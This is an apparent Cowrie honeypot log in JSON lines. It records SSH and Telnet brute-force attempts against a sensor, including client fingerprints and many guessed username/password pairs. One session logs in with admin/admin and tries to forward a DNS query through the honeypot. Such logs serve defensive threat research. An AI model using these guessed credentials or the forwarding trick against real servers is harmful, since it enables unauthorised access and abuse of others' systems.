{"eventid":"cowrie.login.failed","username":"admin","password":"eagle123","message":"login attempt [admin/eagle123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:38.521831Z","src_ip":"2.57.121.112","session":"ff3c0faf83b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"recalboxroot","message":"login attempt [root/recalboxroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:38.947473Z","src_ip":"45.123.110.70","session":"ed59ebb5a882","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dvorak","message":"login attempt [admin/dvorak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:39.627003Z","src_ip":"2.57.121.112","session":"ff3c0faf83b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:40.189605Z","src_ip":"45.123.110.70","session":"ed59ebb5a882","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dusty197","message":"login attempt [admin/dusty197] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:40.730564Z","src_ip":"2.57.121.112","session":"ff3c0faf83b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"durant","message":"login attempt [admin/durant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:41.833512Z","src_ip":"2.57.121.112","session":"ff3c0faf83b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"duran","message":"login attempt [admin/duran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:42.938362Z","src_ip":"2.57.121.112","session":"ff3c0faf83b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:44.042249Z","src_ip":"2.57.121.112","session":"ff3c0faf83b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":40693,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b4850a3d487","protocol":"ssh","message":"New connection: 2.57.121.25:40693 (10.17.0.5:22) [session: 9b4850a3d487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:57.696000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:57.701073Z","src_ip":"2.57.121.25","session":"9b4850a3d487","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:57.808911Z","src_ip":"2.57.121.25","session":"9b4850a3d487","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"hellohello","message":"login attempt [user/hellohello] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:58.305640Z","src_ip":"2.57.121.25","session":"9b4850a3d487","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":36208,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f0f20093a33","protocol":"ssh","message":"New connection: 138.99.80.102:36208 (159.203.135.109:22) [session: 5f0f20093a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:58.780962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:58.785965Z","src_ip":"138.99.80.102","session":"5f0f20093a33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:58.892765Z","src_ip":"138.99.80.102","session":"5f0f20093a33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456a","message":"login attempt [root/123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:59.351354Z","src_ip":"138.99.80.102","session":"5f0f20093a33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"hatteras","message":"login attempt [user/hatteras] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:59.413282Z","src_ip":"2.57.121.25","session":"9b4850a3d487","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:23:00.460679Z","src_ip":"138.99.80.102","session":"5f0f20093a33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gwen","message":"login attempt [user/gwen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:23:00.521976Z","src_ip":"2.57.121.25","session":"9b4850a3d487","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gunsling","message":"login attempt [user/gunsling] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:23:01.631966Z","src_ip":"2.57.121.25","session":"9b4850a3d487","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gumball","message":"login attempt [user/gumball] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:23:02.741157Z","src_ip":"2.57.121.25","session":"9b4850a3d487","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:23:03.850911Z","src_ip":"2.57.121.25","session":"9b4850a3d487","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":53474,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5d826547b02","protocol":"ssh","message":"New connection: 36.95.194.51:53474 (159.203.135.109:22) [session: e5d826547b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:23:40.497841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:23:40.501982Z","src_ip":"36.95.194.51","session":"e5d826547b02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:23:40.809549Z","src_ip":"36.95.194.51","session":"e5d826547b02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456a","message":"login attempt [root/123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:23:42.068583Z","src_ip":"36.95.194.51","session":"e5d826547b02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:23:43.353442Z","src_ip":"36.95.194.51","session":"e5d826547b02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.180.12.23","src_port":54352,"dst_ip":"10.17.0.5","dst_port":23,"session":"beaa152383c0","protocol":"telnet","message":"New connection: 194.180.12.23:54352 (10.17.0.5:23) [session: beaa152383c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:23:46.563508Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":42682,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e8233a7b1d0","protocol":"ssh","message":"New connection: 46.165.56.242:42682 (159.203.135.109:22) [session: 4e8233a7b1d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:23:50.892633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:23:50.897726Z","src_ip":"46.165.56.242","session":"4e8233a7b1d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:23:51.067475Z","src_ip":"46.165.56.242","session":"4e8233a7b1d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:23:51.740577Z","src_ip":"46.165.56.242","session":"4e8233a7b1d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":11342,"dst_ip":"10.17.0.5","dst_port":22,"session":"80ddd60211b0","protocol":"ssh","message":"New connection: 87.251.64.176:11342 (10.17.0.5:22) [session: 80ddd60211b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:23:52.586455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:23:52.590852Z","src_ip":"87.251.64.176","session":"80ddd60211b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:23:52.695292Z","src_ip":"87.251.64.176","session":"80ddd60211b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:23:52.904181Z","src_ip":"46.165.56.242","session":"4e8233a7b1d0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:23:52.985250Z","src_ip":"87.251.64.176","session":"80ddd60211b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:23:53.084603Z","session":"80ddd60211b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:23:53.182805Z","src_ip":"87.251.64.176","session":"80ddd60211b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:23:53.291457Z","src_ip":"87.251.64.176","session":"80ddd60211b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":57414,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec47e011d59c","protocol":"ssh","message":"New connection: 200.108.174.4:57414 (159.203.135.109:22) [session: ec47e011d59c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:24:08.536820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:24:08.541787Z","src_ip":"200.108.174.4","session":"ec47e011d59c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:24:08.687052Z","src_ip":"200.108.174.4","session":"ec47e011d59c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:24:09.298341Z","src_ip":"200.108.174.4","session":"ec47e011d59c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:24:10.447281Z","src_ip":"200.108.174.4","session":"ec47e011d59c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":45588,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2fa6a89d19b","protocol":"ssh","message":"New connection: 138.99.80.102:45588 (159.203.135.109:22) [session: b2fa6a89d19b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:24:26.452852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:24:26.456884Z","src_ip":"138.99.80.102","session":"b2fa6a89d19b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:24:26.563025Z","src_ip":"138.99.80.102","session":"b2fa6a89d19b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P4ssword!","message":"login attempt [root/P4ssword!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:24:27.019645Z","src_ip":"138.99.80.102","session":"b2fa6a89d19b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:24:28.129316Z","src_ip":"138.99.80.102","session":"b2fa6a89d19b","protocol":"ssh"}
